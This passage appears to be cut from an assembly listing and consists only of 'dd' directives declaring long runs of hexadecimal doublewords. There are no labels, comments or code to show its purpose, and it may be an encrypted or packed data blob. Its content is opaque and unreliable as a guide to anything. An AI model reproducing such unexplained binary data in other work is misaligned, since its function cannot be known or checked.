624A79F0h, 0A58629ABh dd 5DFEE227h, 0BF066168h, 0C2E3AF2Fh, 15164C6Ah, 9B90F7E9h dd 474D5518h, 0C49D779Bh, 0CFD60D2h, 5AB7ECB5h, 0A4C78012h dd 0BA341CBEh, 484AF8CAh, 0FEA54B8Bh, 105583DFh, 4BBFEC4Bh dd 85731EAh, 27A732ABh, 0F41A093Ch, 757A2FDAh, 0E60A0909h dd 8196D752h, 0ACB1632h, 3C3F75Bh, 227A5CC9h, 5F0D9AF9h dd 76A058FAh, 26263E5Ah, 0CF0F8629h, 0DBE1134Eh, 98081CA0h dd 230F0A55h, 29E553Bh, 3EF156AAh, 431AA76h, 5BC739E9h dd 842DE854h, 5F0DF697h, 0C1E9DB40h, 0C2FF7415h, 5B4F350Ch dd 0AADC3F4Eh, 880B808Fh, 0B0475A6Ch, 686409DDh, 8002B32h dd 4F0A0B8Bh, 60E65195h, 619A6469h, 254BE913h, 20754454h dd 1789704h, 401F43E6h, 1F4B33D9h, 4C6B21DAh, 1489CF12h dd 28FCBB41h, 0CD13F660h, 0FE29143Ah, 0FC16AA5Fh, 7DBC8C81h dd 0C0B80E28h, 3CF7D622h, 0D013D92Ch, 226289CAh, 30AD92BBh dd 682F35E6h, 30165A1Ch, 0F32DFE45h, 82281D21h, 2E05D056h dd 2907B765h, 24E94A88h, 0A5E1D4A0h, 32E69E5Dh, 0C55B0A10h dd 0CE52A057h, 76C416CAh, 9C60446h, 0C68021A9h, 0E6DC30C2h dd 0ADFCD925h, 0A09A6D7Bh, 0F0F0554Bh, 7A498D0Ch, 13780C37h dd 0A45F7F17h, 2851AAC7h, 0DF5E2BCCh, 737B0A49h, 62123D44h dd 27E72CB7h, 0DC411141h, 13205892h, 0BD0E02DFh, 308A351Ch dd 23E954C0h, 0E13FFF60h dd 76FB3864h, 1221F83Fh, 11E7660h, 7B57BFA9h, 0EA403E1Ch dd 3E27036Eh, 6355158h, 0DB31FC01h, 2893B900h, 164E1F3Dh dd 5DAD425Dh, 2B246205h, 0C249C04Dh, 6976F90Eh, 15A4F505h dd 4FC5E332h, 0C0AB94AFh, 0A774F612h, 31615817h, 0E92C2CBFh dd 0D4ABCF2Fh, 0D8926244h, 57D4317Dh, 508A7A81h, 0E6E96576h dd 0B680414Ah, 6ABF3825h, 0C28CC89Fh, 2F2FF4ABh, 30F209B1h dd 366B9F07h, 0E983551Dh, 0C913AD7Bh, 0CD4903BFh, 5BEAC32Ah dd 3842C457h, 0C81D1304h, 0AC22F2Ch, 80DB987Dh, 4FBE0638h dd 309215E9h, 3B58F4F2h, 2A582FF3h, 39022D09h, 0E1298E67h dd 0CA2EF9C6h, 4EBA58C9h, 9060E8DDh, 9F5F905Eh, 508D94F9h dd 0E2EB423h, 73200504h, 0C7298A52h, 0FCB0DE9Ch, 4FB73B17h dd 404EAD30h, 0B534E908h, 0DFFE60ACh, 0AFE90C09h, 9D596C3Fh dd 5B2ADBF0h, 5A0C86Ch, 3162A968h, 0A293F2Bh, 91D3FF4h dd 9B76ED16h, 47385C59h, 0F03E3206h, 5805F037h, 294E0B76h dd 9918EFBDh, 0E5BF4039h, 26582270h, 7BCF008Eh, 0E9775C18h dd 81D3BA0Ch, 0ED6544D6h, 3CF007Ah, 0A3B856A5h, 712B0B14h dd 5C9C74AEh, 4B25246Fh, 2D6854CCh, 667903EEh, 0D929908Ch dd 3121404Bh, 0E85BF177h, 0E3B8A100h, 0F40B893Dh, 80B2A373h dd 2D3F4805h, 0D6701437h, 0AC160782h, 42EAE89Fh, 0F977C985h dd 0E0931054h, 2CAA17C5h, 275EB242h, 87055CA2h, 4BE0EBB5h dd 92DF52C6h, 5BEEDD7Dh, 80143B0h, 0E970CA3Fh, 0C132F73Ah dd 646E2F0Ch, 9F4EF38Ch, 52111C40h, 513FC7h, 0C39B2B9h dd 22F18164h, 45942517h, 0F0050DBCh, 0AFB19EAFh, 1156A6C7h dd 82CE5E73h, 23615068h, 94A24518h, 8F04B2Ch, 27A3B963h dd 0E90D3DE8h, 2A837C4Eh, 1E738F41h, 77098732h, 659E444h dd 295B0FDEh, 771C69DDh, 4872DA1Ch, 16C7BF80h, 792854h dd 6610A1AEh, 24924F44h, 4E32B50Bh, 0B1B0074Ch, 0E9616E67h dd 282FF38h, 533B0ABAh, 9A61540h, 5F884082h, 0FD1B58Fh dd 0BC54A56Fh, 178EB7F4h, 0A0752762h, 0D3128F00h, 46A0340Dh dd 0C5AAA143h, 0A02A88DDh, 81900712h, 0A804900Bh, 2A5C264h dd 71277482h, 0F077437Dh, 20BD0A02h, 6073CC0Ch, 659A26Ah dd 1E93753h, 0C9B92057h, 0F670E56Fh, 518979BCh, 0A0CB347Dh dd 166A7103h, 8400E21h, 0D109E3C5h, 0B11055E5h, 0A312D4E1h dd 0A908EE89h, 0DAA43F56h, 29EC1648h, 79C06E62h, 5AA778C5h dd 48D2CA7Dh, 3D606E1h, 0A046736Eh, 2E22AC5Bh, 186375F3h dd 0FDE90DADh, 9E9B0559h, 10D2DD4Bh, 7B66B003h, 0D7093E4Eh dd 0F8123592h, 0CDA8F568h, 9463E9C2h, 9C2BB990h, 7B25825h dd 0F733872Bh, 0E8085BD1h, 0B0408021h, 24E9B2DFh, 1DA22C6h dd 0A13307BEh, 84BDBB3Ch, 40E92E2Ah, 0D12EFBE1h, 0C31F9687h dd 0FBE3EE84h, 0EFBDDDC5h, 8080B225h, 6A20593h, 1F685A0Bh dd 597C293Ah, 3EFB5C0h, 7672470Eh, 39C7F0D1h, 882F6DC0h dd 59951958h, 0F63869B5h, 5E9C4F3Ah, 0B5D368E3h, 47DE33F8h dd 0B98864E8h, 353486D7h, 5F73F6DAh, 3E43E33Fh, 385D1CB9h dd 7604CFBCh, 0BA1609BAh, 0F105F767h, 0CEA1C2BCh, 182E3DD8h dd 0C2991591h, 6A0F14F2h, 3F01E79Fh, 2921F91Eh, 54171D5h dd 0D91E8508h, 0C5462D3Eh, 1F914EE9h, 8DC5150h, 0F0E59521h dd 5702C609h, 1243567h, 2FE95E40h, 0FE989502h, 21810E12h dd 85CE996Eh, 5D39D152h, 1FA8C4BBh, 121AC792h, 0D0D9844Ah dd 3F780FABh, 7FA15C5Fh, 960371E0h, 3C1C8890h, 0A3C3310Ah dd 50CCB618h, 6307E1B7h, 8D18E38Ch, 27725BD9h, 57E52677h dd 332E09C9h, 715C6CC0h, 348301B9h, 992A2368h, 8B3C5698h dd 539FC29Eh, 22C85C80h, 8AF73187h, 0A002B396h, 2574EB2Eh dd 33920F42h, 65F9B7C0h, 5B3BD601h, 0CBE9DBF7h, 0B7BA0E7Eh dd 9AC780E3h, 7862EC9Ah, 0A84FE377h, 95E5885Bh, 16F7676h dd 5EDC085h, 99DF5D8h, 1BE9102Ch, 7B971E78h, 0D051AD36h dd 890B92EAh, 58747E11h, 5781D171h, 0B7861D9h, 1A31DA5Bh dd 427A3AEFh, 7F275F95h, 7EFEC1C5h, 0DA822F60h, 0BD70F8A4h dd 2C424B79h, 2CEED5DDh, 1584B0B5h, 0AC495A2Eh, 138181Bh dd 9DFE9899h, 3941D6F3h, 7620F275h, 0F5501B9h, 0EAE97629h dd 72F8055Ch, 8E29E9E0h, 1313C595h, 0D319A448h, 42EB8009h dd 25537E5Ah, 77655DF4h, 0CFFA27D5h, 4DE90AE6h, 89C48208h dd 8180151Fh, 0B47EB607h, 0F2F4054Eh, 0C380C24Fh, 0BA7BDC1Bh dd 0FAD30BC9h, 0D1AFA21Eh, 0D7094961h, 85BD63C0h, 78A76C07h dd 8BCE5653h, 0A7874591h, 0B1C5CB54h, 556BCF0h, 23186468h dd 4BD7A313h, 5E063A86h, 79D1B901h, 61441900h, 0E9F589F6h dd 970E7FADh, 894C7796h, 0FDF16BD6h, 520C9182h, 123C9F51h dd 68BAF616h, 0EA5E3809h, 6D20CFB5h, 0F6FC4009h, 0CC88D113h dd 0C8E7C404h, 2DE8CBFFh, 0D6A7623Bh, 0EF455878h, 0CA5A10CEh dd 73A7D1FAh, 0D829C29Ah, 0E0FB4564h, 5D260A4Fh, 0ED004B78h dd 4DC441D1h, 38CD6829h, 68590308h, 45163D58h, 619047A5h dd 0E0E28102h, 7446132Eh, 6854FA4Ah, 0FE164F7Eh, 269B5A00h dd 483106FEh, 2B46AC6h, 0B8EBDCC5h, 0F187F885h, 97122279h dd 0C44B7BA3h, 0FEC40670h, 0F20645BFh, 506091Eh, 0CAF08098h dd 0F62913BCh, 91D20927h, 0B3C118D5h, 609E9E1Fh, 3E3C2D17h dd 17646FF1h, 0A3D58DEEh, 0EAA05F3Ah, 0E8D14000h, 0DB0BF62Dh dd 0F125033Bh, 683AF207h, 195545EAh, 0B6401599h, 68E5C130h dd 0A20606h, 0CE4BA9F5h, 0BB075309h, 2ECF0FBEh, 0FD03E3F2h dd 90FD24C2h, 1825CB33h, 0C7EA864h, 2305036Fh, 0BCF9E91Bh dd 3AC9853h, 887CD62Fh, 0DFFB5192h, 545C27E1h, 0F6E963C6h dd 0ACDFB4DCh, 48431618h, 71509988h, 0B7FB861h, 0B7030C31h dd 41E96C10h, 3C49B81Fh, 0CBE0CE52h, 670B7F0h, 8B95C7ACh dd 52AE000h, 0BCE116EAh, 4C1EBBBBh, 39CBFB9Fh, 0F0E1E426h dd 0F76B452h, 1AE6DAF6h, 0EC980E9Eh, 0BFC74420h, 0EC0C6D84h dd 64C2E458h, 2A2C6E5h, 0C4B15152h, 0D975CA88h, 0C36885C3h dd 0B115410Fh, 38DBE9C2h, 0ED5F34EFh, 704C8BFBh, 0A8E9D80Ch dd 954B91C2h, 0E3C38B83h, 0D86291F9h, 68EE26EBh, 0DA891012h dd 0AC4FD9B6h, 0F4B7E25h, 513C20E3h, 936DFC85h, 187BC31h dd 0CE6C9206h, 0EB89CB89h, 1EDF5450h, 992D0794h, 502E9B25h dd 21DD0AB1h, 1D842BFh, 0A0D9E907h, 0C42E497Dh, 0D2F78BBBh dd 318EB974h, 8735DC2h, 15167E48h, 0AE335468h, 125C7D10h dd 0D4EEFA29h, 0B24B814Ch, 42460234h, 1C860ED7h, 64EA0113h dd 747F822Fh, 4DEE8001h, 0CF73F6CCh, 3EC69A0Ch, 0C98A9FB0h dd 1EBC2940h, 12FC417h, 34B62CAAh, 822E9084h, 0DE4A4216h dd 28880582h, 31CCC258h, 7C8CBD04h, 36F69DE4h, 6025A16Ch dd 4FBB16EFh, 1151C72Eh, 9746C2B2h, 0BB0A5460h, 1FDB6F6Dh dd 17DE8925h, 0BFF0C51Eh, 1DC5F100h, 7ED10D9Dh, 0B86B2FE6h dd 555AAA68h, 0B8843397h, 986F1D38h, 27D4266Dh, 62680E2Bh dd 29D07399h, 9EC20316h, 44E7310h, 0E5ACF0Ch, 277C0112h dd 0F2605C57h, 1B88179Ch, 1A7EE853h, 0D5980D5Dh, 67D16C93h dd 0FE87001Ah, 31D779F7h, 2812DCCCh, 0C7A07EC3h, 8081C307h dd 63DB1C5h, 20F7A7E7h, 1EBEF2Ch, 56494817h, 2A40017Eh dd 7BE9452Eh, 0ED2592A2h, 0E0604699h, 0D1DC8290h, 676F4507h dd 0A4248DB9h, 3D8FF17Eh dd 4FC5EB8h, 8A0D98B7h, 3C41302Ch, 75690905h, 4B97A8D7h dd 0E8D32EE3h, 6853C069h, 8E4088Dh, 0CA86E902h, 28FCD42Fh dd 360C24E2h, 0FB2909F0h, 2F080408h, 5A0D2BD6h, 9F6E30B2h dd 35AA4E57h, 0D599B5E5h, 0EB3F8742h, 44174518h, 0D03185BAh dd 1F3C3768h, 1C9A57CAh, 791707A8h, 91864E9h, 60F5788h dd 0FEDDEB25h, 3AE4108Dh, 0EC529DF3h, 28E69498h, 5C151627h dd 40121A91h, 0BFE1EF5h, 0BC75E9CAh, 0FA0816FDh, 7569C43h dd 46EC480h, 142E88E3h, 0D574EB6Bh, 0BF574680h, 0EE2D4B15h dd 1320D434h, 24D2B053h, 49953A73h, 5072C1AAh, 0A5A3E913h dd 7A5E2157h, 0CD2B1AE1h, 224AEA90h, 43F9A4FDh, 482B60B0h dd 0BA814EFDh, 805CD52Ch, 4E49E40Ch, 9797E910h, 0BF92470Fh dd 0E936E58Eh, 50097E82h, 664E1468h, 0BE56009Ah, 6EEB52F4h dd 79BEEEE9h, 14D12h, 51AD4B8Bh, 72327B20h, 0C016733h dd 12697064h, 3C48DEE9h, 0B5B8EA9h, 1BB782EBh, 56E463Bh dd 0B05018B5h, 0B1A5123Fh, 8853E90Fh, 4284834h, 0AA5BDE88h dd 80E331Eh, 0F658C7E6h, 269C0B7h, 5EF03A64h, 86DDEB45h dd 2718ED9Eh, 0DA62EAD1h, 9D801840h, 552DA903h, 7F4D11E9h dd 0A682C98Fh, 557CCCEh, 3F225505h, 0B025AFA7h, 475788E2h dd 4B1739EDh, 329FA60h, 64CD1ADAh, 5502C127h, 0B0745430h dd 7C7F980Eh, 331109F6h, 0E484575Dh, 1941EB7Ch, 2EAC0928h dd 5AD6570h, 21159620h, 0E75482DDh, 67A1F709h, 7F2AE468h dd 0EED723E3h, 0E1416B3Dh, 0A06F3CF9h, 2BE5E93Dh, 0EF80061Dh dd 80D7F608h, 888C13F7h, 9F96B2FDh, 0FE33F580h, 0B8D5F6C5h dd 1880E941h, 6E04DE68h, 2EB55B52h, 0DF80B78Ah, 59424E54h dd 7EC12541h, 3E23857Bh, 0F98BEAF4h, 0E0F1ED2Eh, 0D7FA1BE9h dd 0C969EA16h, 3946D48Ch, 3AEB1097h, 16867DCCh, 20BF12Ch dd 0A50729C1h, 11E6B587h, 3E3E3F42h, 0E26B8BF1h, 10011C32h dd 68033093h, 0B0440DEBh, 0E1ED02E9h, 0CD50DA01h, 60D5D6D0h dd 0D0456A23h, 5A89BF7Bh, 0F274ADE0h, 4ED7640h, 1117E77h dd 230C4D6h, 0A1B4E908h, 0D4ABB15Fh, 0F7BD527Fh, 3AA94F58h dd 0D07AE9C4h, 2A1F68B3h, 580E0EFEh, 6EDDF795h, 3A75C305h dd 7868A87Bh, 0E9740B2Ah, 124BE16Ch, 0E4A5FBBBh, 78166FEBh dd 28E80F03h, 0D21E274Ch, 0E926831Fh, 685F0830h, 0BA7AF01h dd 0D0DA13B9h, 33140510h, 0C75F76F7h, 7827CBB4h, 0A441B1E7h dd 6BC57A21h, 0C26D251Fh, 7AE1DD79h, 7D4E8E40h, 2D811DBFh dd 760D60E8h, 0E9A17Eh, 0C3015D07h, 5E27ACBBh, 3685840h dd 3125745Bh, 1F33A6A1h, 18FB00D2h, 29322B61h, 83E9FE0Dh dd 0CF3B1A82h, 1C56267Eh, 55188462h, 0A2A63879h, 2C62DA82h dd 4C0774Fh, 0DD3E7205h, 0C9E939D3h, 32548B8h, 3BFF380Dh dd 0F113E152h, 90788433h, 0B428D2BEh, 4D6F9008h, 0D088C97Fh dd 0F45B4B35h, 19607696h, 78ECF357h, 0A81750B4h, 753B12A2h dd 3D4FFA48h, 0FB960EDh, 90EB3184h, 8B41FB9Eh, 0B82A73F1h dd 6A084115h, 313E94D9h, 30E3FB6h, 0F742B250h, 2A592E8Bh dd 5EE95C58h, 0EF36B41Eh, 1B9D5416h, 0C77F40AEh, 45F491CFh dd 14F8312Dh, 4ED5804Fh, 0E0B74A1Bh, 0A80436E6h, 0F82990B8h dd 133C8BFFh, 0EFCC631h, 9A4BFAF5h, 0D18860B6h, 86BCE7h dd 7E3DE4F7h, 62000532h, 0E9277654h, 96012A5Ch, 38DA0EEEh dd 0B25977D6h, 5C5498ACh, 53555E61h, 0AB3C1DF1h, 0BEF26813h dd 0EF27077h, 625407D3h, 66DDEFB5h, 272FE448h, 217D7A11h dd 6B3BE9ACh, 53AC4F89h, 0F72C3446h, 80690684h, 9352A8FFh dd 21315E59h, 5A07D40h, 0BD509FACh, 0A1D8EC06h, 84E0A9AEh dd 0B0CB90D9h, 0CEEE5A9Bh, 6B68162Dh, 25E9E9E0h, 0BBE8458Fh dd 610F70CEh, 0A9DF0104h, 5E682B0Bh, 106812CEh, 70865882h dd 4AA0EEF2h, 0C52FE57Fh, 0BDEEDED2h, 7D92F505h, 6305EAA4h dd 4648451Bh, 0F5FC2583h, 966BEA21h, 48A626C2h, 0AD056FA3h dd 5637AA55h, 666440A9h, 9DA89031h, 3C687FE0h, 0DE6B28F9h dd 0A0606542h, 969AFF2Dh, 852F303h, 13A5EF48h, 5D2C967h dd 0C1B5E8Ah, 0EC2A6650h, 5A319240h, 0DE8F8FBh, 82D88DF8h dd 0B87D826Eh, 0CD9E80F4h, 0A0F9DA39h, 0C6E38101h, 472A9B49h dd 0DA7B80B8h, 0DD4C2933h, 0F2B05E05h, 0D1320E45h, 0CE09E91Bh dd 55D04929h, 4825110Ah, 0A27BE62h, 0CE160973h, 9CFBF185h dd 0C123895h, 3A097D49h, 2DC01094h, 9392C0Bh, 71400012h dd 91357BBDh, 144FDAE0h, 956B53EBh, 3720AA1Fh, 0AC343368h dd 0E11E73C3h, 0A37B77C2h, 69244BE8h, 13656403h, 80E8CA68h dd 0A22DD08Ch, 42140B27h, 36E010E9h, 293F5F59h, 58107C8h dd 44E20922h, 0E15307CAh, 3BD7F75Bh, 81F9A0h, 0A14FC9CFh dd 3E99E921h, 0EA26D6h, 6452ECE6h, 0F0798978h, 5AAA729Fh dd 6041258h, 302F4768h, 0DAC3EF5h, 88359460h, 6659A92Ah dd 473C0E6Ch, 0F5E9C4A6h, 729A14D5h, 27414A54h, 598127E9h dd 240D3068h, 8A4114B8h, 0D63D8C2Bh, 9AF28927h, 7557C30h dd 0F339C281h, 0A858CF4Ah, 0B8A86065h, 0B819468Dh, 14F63865h dd 0BA77AF4Eh, 0A0721668h, 7A00B8B7h, 2D719659h, 0B0A4F45Ah dd 0C8C24996h, 512E093h, 1DF1301h, 0A3DCE933h, 94D89374h dd 7E65225h, 0F6C6880Eh, 0E9F081D6h, 232B3707h, 580B3168h dd 0F1122668h, 0EFB2820Bh, 0B74176EAh, 3B372BCEh, 8CA1E695h dd 19D2AF40h, 97EB0D6h, 7C0D83F1h, 11556178h, 8FBF2027h dd 0D612A56Bh, 6858C15Dh, 31F37FFDh, 695B5412h, 841E7957h dd 74BE661Dh, 5E48DA92h, 0C593F3E9h, 1E2AA9BAh, 0B065164Dh dd 0ACDE04FEh, 15B620A1h, 5097E918h, 12AFE199h, 0FE034B75h dd 0D1F72A04h, 0B00984AAh, 28032D3Eh, 29097AFCh, 0DED5E1C5h dd 16D518A5h, 0A3594B8Eh, 61FED3A3h, 2617F7A0h, 80124A29h dd 30982CEAh, 3D0E5E16h, 5DB4FD17h, 0E4BA0452h, 8318A40Bh dd 6ACB4760h, 8CD75E28h, 68070CB1h, 57093343h, 8949A145h dd 24A5E486h, 52BA9BD5h, 0B623E482h, 7D56801h, 60892D9Fh dd 78955B75h, 5BC1B667h, 3A54258h, 975701CDh, 600C3B6Fh dd 0E9162BBBh, 0F6ADB05Eh, 59740490h, 0D11FD976h, 0D3C9C9FEh dd 0FB314872h, 88E64F78h, 3BC06E69h, 8A3AF8BDh, 4E19F436h dd 11329149h, 0EE3D815Dh, 2907357h, 605B53Bh, 6F1C0C08h dd 0E98FB428h, 4D23D6B9h, 29E93E1Ch, 8CE1C061h, 6801CC08h dd 0D63CCD2Bh, 0D609CB00h, 6B6CE920h, 9BC71BC7h, 74ADF601h dd 0E6F06EB6h, 33621636h, 9D7D041Eh, 12B90EE0h, 69FB2330h dd 772898B2h, 2EE124F1h, 0C8FE0F76h, 571D76C5h, 4F08E8C0h dd 6A258A30h, 0BEAF656Dh, 0ADA3E021h, 17C16B5h, 170A793Dh dd 81C04AE9h, 547FC379h, 0CC2513CDh, 1045D97Fh, 95E95268h dd 4251546Ah, 44CD183Ch, 1307EB47h, 0AED47625h, 51D7DA4Dh dd 0C054826Eh, 66ACB4C8h, 0A0BEB8BDh, 6853802Fh, 0FD43D006h dd 69545B42h, 0BD540FCCh, 2B90E941h, 4A5A6C64h, 162DBC21h dd 0C4F4C36Ah, 6E4316EBh, 0F700FAD3h, 58C8498Fh, 0B808F8C1h dd 0BA3E4CFBh, 0BE868A0h, 5A011F12h, 137E4EA1h, 0FEA3C48Bh dd 0BC1CAE9Ah, 0B85F387Eh, 0F62FA2E5h, 1D32F9Dh, 856B2D3Eh dd 85815081h, 0FE217FA5h, 813FCB60h, 0D6446D5Bh, 16A94142h dd 65F16086h, 0CE8180DFh, 5409D709h, 0E02F0F71h, 0E92A7363h dd 0B702B70Dh, 0A45ECB88h dd 6FE38060h, 0E76FE7D0h, 12013F5Eh, 0BE5BBC3h, 258F3D7h dd 0F328D80Ah, 0EA82885Ah, 105E56E9h, 72022324h, 0DF291981h dd 0DFB01F91h, 79B8F2FDh, 0D9DD2837h, 0B753F800h, 0DFF607ADh dd 0F0EDB252h, 1EE5E9D7h, 815A36C0h, 251219EFh, 0B3F0F9C4h dd 77F8E6FFh, 5A60AD4Eh, 4393856h, 0E9E1D125h, 3B3AA1DEh dd 162D0EE0h, 0AB45624Fh, 36FD4D06h, 0CEBF041Dh, 0FEEA7726h dd 44CA191h, 42D89569h, 0BF092343h, 80EEC133h, 5178F61Ch dd 189901Dh, 0EA5C8BE6h, 82D6F76Dh, 4074231Ch, 0ACD96076h dd 0CB5F269Ah, 8630244h, 4CE136FAh, 256F2055h, 125A3BF2h dd 4AD48BADh, 27A2BF28h, 0A31333BEh, 9BD880C2h, 0DF5906B0h dd 0AB875B0Ch, 581A7626h, 73105901h, 5E5A2766h, 1B3458C8h dd 3983F78Ah, 100596A8h, 650A6B05h, 74550BEh, 0F85E5F27h dd 0DE9584C9h, 58F872FAh, 896CC55Fh, 0A910AFDh, 49F45D1h dd 7E6EA7h, 0C1DDF758h, 6ECFBEDh, 0D01EAAE2h, 9C799723h dd 0FC1A38E9h, 0A48A82DAh, 68D02DB8h, 6E92F507h, 0E5607DBBh dd 58A114A9h, 4B004229h, 0E947744Eh, 3B94E72Dh, 62AE56E5h dd 0B3D25E75h, 75B9076Bh, 0F1C98EA4h, 0D5E46E46h, 60F7E01Fh dd 4C440C21h, 7780749Bh, 9300413h, 0AFDE2BE9h, 0F2489C8Eh dd 0EC48CF25h, 5AD6032Ah, 4E780BEEh, 64626089h, 81CCC5DDh dd 5FE9565Bh, 0D75CA8ECh, 28D0F40Ch, 4E27A6E2h, 0AF132547h dd 0FA4C5749h, 93E109B7h, 165EAD7Ch, 66D8A38h, 1004A078h dd 24C16415h, 2B7347DBh, 0C023B400h, 0E48005ECh, 0EAE98B0Ch dd 3C2DB006h, 0F0D8748Eh, 0ED9E8C16h, 3F7680B4h, 4EF725BBh dd 0D83EF5DFh, 87250756h, 8CED7CA9h, 0B838880Ah, 6A20251Ch dd 7BD02DFDh, 0D9D602E3h, 7842BAB1h, 0E1BDB7ECh, 0F32ECF79h dd 9DAED2B6h, 1CF63FA3h, 0F27C547Fh, 405A4BD3h, 0E5FFBFB4h dd 294CF356h, 0FE311317h, 0C6C014B2h, 0B0A4E4C3h, 9CF02124h dd 0F304EC64h, 7725E9CBh, 0F0163AE1h, 82128ABh, 13A8029Eh dd 0F10FB109h, 8213F05Bh, 7D1B4207h, 7C2F166Dh, 0E9005A40h dd 0D4C391Bh, 4D846813h, 0FD6B3B8Ch, 9005C069h, 0BC7D0853h dd 35190091h, 0C050FB2h, 7A12470h, 0A2EE18E1h, 7D1277BBh dd 0F101196Bh, 1D894437h, 0AEBEC46Bh, 4A5C8B4h, 31EF1EBCh dd 0FA7482DFh, 90B544F5h, 81CC405Eh, 0F45AC75Fh, 0B000FA0Ch dd 299E8272h, 86B2F58Ah, 0C08DD075h, 64456840h, 4FB00E9Bh dd 0B9AF2D54h, 4D3D6009h, 8B23DC5Dh, 2966868Eh, 4BD075Dh dd 8F69F2BBh, 0E0051BACh, 0C715A135h, 4516511Ch, 12E13C4Bh dd 0B4AC7F1Eh, 2E15CFA1h, 811C3D8Ch, 1759C32Ch, 3F2558h dd 579635B3h, 89121225h, 0E3D302C6h, 2D520110h, 889F546Ah dd 27B42208h, 0A31208D9h, 0FE96F7F1h, 3B76E1C7h, 9AC04FB2h dd 312AE14Fh, 81C00EBCh, 277292C1h, 2E6A7A4Bh, 0D4840809h dd 89ECB644h, 89C07155h, 0F77156BFh, 590433A1h, 2DBE5351h dd 0A0FD3A08h, 20516E3Fh, 2ACD9911h, 9641E66Fh, 3A213DBAh dd 3E5345F0h, 0F10452CAh, 0A14555D8h, 60A229A5h, 54159C0Ch dd 0BB530028h, 2A3AF0A0h, 3DFAD929h, 2DCA84BFh, 0E9346CBEh dd 38BD2C7Bh, 7B0D3Dh, 5083A1Eh, 520E0F44h, 0B2163FEAh dd 0BAA6F72h, 0FD985317h, 44C9E75Ah, 0BD9A5D5Fh, 0EDA9025Dh dd 0C980B357h, 90225E36h, 31887703h, 0CE251B0h, 947D1942h dd 0BDA0FACAh, 29B53103h, 8059EA80h, 81DBBE6h, 0C4815AD4h dd 0E151E90Eh, 0A9B38683h, 0CCCAD330h, 520BA5F6h, 0E739A4F6h dd 800E0CF8h, 0CA6630E2h, 0D27E06E4h, 24F5992Dh, 21BEC209h dd 0A5DC7C77h, 0BCC1F658h, 37C07196h, 0F79B8241h, 0F61D1A7Fh dd 40C6A808h, 0F1092DCBh, 800A9311h, 0E05D0E7h, 55ED254Dh dd 92CF36FEh, 0D3634631h, 0F8E9BA03h, 9AA48968h, 2F1CD749h dd 0A6A2A32h, 73737D31h, 59DF720Bh, 0C1D34965h, 564FE985h dd 0F05A35A4h, 0EC725B4Bh, 540F92A0h, 71F665FFh, 309E6791h dd 0A02A7A61h, 40E6D140h, 0F6DCF760h, 0B5373984h, 4A26C770h dd 0AA6C3053h, 714F81F8h, 94354559h, 0C387BF3Ah, 726AF53Eh dd 4FEB8080h, 6A45AB1Ah, 6A92A99Eh, 505B6CEAh, 0C067FA50h dd 55EF0C7h, 0DC253DDBh, 0A3B05D39h, 7C1E2068h, 0E6AC154Fh dd 8C7B7900h, 6581E932h, 0EFC85FF0h, 632A5B02h, 6CB3D73Bh dd 557F2ED8h, 0CC01A898h, 0E93A6F03h, 74C276F9h, 0A12BC91Bh dd 93689CC0h, 8B6A034Dh, 0C800046h, 2F31AE2Dh, 0D70F1874h dd 3765FC00h, 355FE91Fh, 8FB21917h, 63A2FC4h, 9AE5854h dd 5D1D7962h, 8431294Ch, 0D9520B0Eh, 0CAFE4C81h, 0D506E2C0h dd 13C020C2h, 1F718F4Eh, 7B206855h, 5D0C075Ch, 0CB8BE945h dd 4881CDDh, 22157FCCh, 8592FEE9h, 542975B9h, 655D4180h dd 10A148Fh, 8BA52CBh, 2DCAD8A5h, 746E3FFBh, 28C7595Ah dd 0C80898F2h, 1D2DEE0Ch, 8729143Ah, 654FC4E6h, 0FA56C33Ch dd 2A8760D9h, 0B9023EE1h, 21C2D7FBh, 9E2C3C60h, 0B685180h dd 0BCD3477h, 7E53A002h, 2A8F610Fh, 0FDE86247h, 0EB66972Dh dd 0BD4A1D20h, 48303244h, 459221Fh, 0F0281EA1h, 81B4CB53h dd 763DC61Bh, 2E265AA0h, 0C5AC5B12h, 0E0CBBA7Ah, 7838AE4Bh dd 2D15B35Dh, 0FB07B1DBh, 315685Fh, 74129CB3h, 2343422h dd 412803E4h, 0F8D7BA40h, 0BAC7D195h, 43E0BA0Fh, 20DFE16h dd 64FE3A37h, 3571BF9Ch, 5B799169h, 7BA7F74h, 1AFD6F09h dd 0C021B24Ah, 4EBF75Eh, 74B9690Bh, 0A3D4D62Fh, 4227F723h dd 9209FF0Ah, 0CD989E04h, 164C3950h, 9D298C66h, 471EF028h dd 0CCF6E50Dh, 0CC3CADBAh, 0BEE92697h, 0F25F96A9h, 65D607BFh dd 91F22EE5h, 0BCCF5EA8h, 23697009h, 0A27BC5Ah, 3B45BFh dd 3EC17C30h, 6398AAE9h, 64E974B5h, 0AFC2A410h, 968D640h dd 48803332h, 78727803h, 1356493Ch, 9EBA4B8Eh, 0E2C04FB4h dd 7E2B66E5h, 0B9CD1E17h, 0E9684207h, 0ABEAB159h, 61B5E2F7h dd 50276h, 107CD417h, 0F70A8111h, 88BB3423h, 9999F08h dd 1F49D029h, 13CD6854h, 45EAD531h, 20D2F747h, 96E99508h dd 0C2A32660h, 4C9E36BAh, 0E5787B65h, 0E95D0840h, 5F045220h dd 3C296005h, 50C6FF14h, 0CFB9007h, 0D8B088Dh, 0E517820Ch dd 14AA1128h, 2B068880h, 1E220C4Ch, 515A1EF2h, 0A10F52B8h dd 0FFB23562h, 40D5FD0Fh, 5427C8F5h, 0DEEBE201h, 89239382h dd 0FFEF01C4h, 0BE5F7E2h, 18DFE6C2h, 8330487Fh, 92A07EFh dd 508046F3h, 0E96B0610h, 9F099A42h, 3889AE00h, 0CFB86CD3h dd 0E7F15C66h, 0C2045246h, 9946C603h, 0DFE14F7Eh, 0AD268251h dd 7C148368h, 0AC816426h, 0C9DB5E2Bh, 0B0685809h, 0F8FFE6F7h dd 0E047BF25h, 0FA0B8CA0h, 20E4203h, 6927ACA1h, 9E8EDA7h dd 4D6D37A3h, 805DE10Eh, 0BC022A94h, 0A9532868h, 12AFD44Fh dd 84FBEDDDh, 0BA012B0Fh, 3F6B7DC7h, 28B2F444h, 0ED69DDAFh dd 9E73CA6h, 50CE8852h, 0FD022506h, 182313C8h, 0B50CAA3Dh dd 9C05F4CDh, 9ABB4F3Dh, 0E95C12A5h, 0E8413917h, 665626E2h dd 9D5D5820h, 6F201EDAh, 0A4029537h, 175CB568h, 9871BE63h dd 25E90949h, 0F7ECDD4Dh, 6A6822C2h, 0E9CD9841h, 45214112h dd 0D32C0190h, 7F6B3A7Dh, 1898D0E0h, 0C25D006h, 74F2638Ah dd 5BDA0917h, 96B570ABh, 3361982Dh, 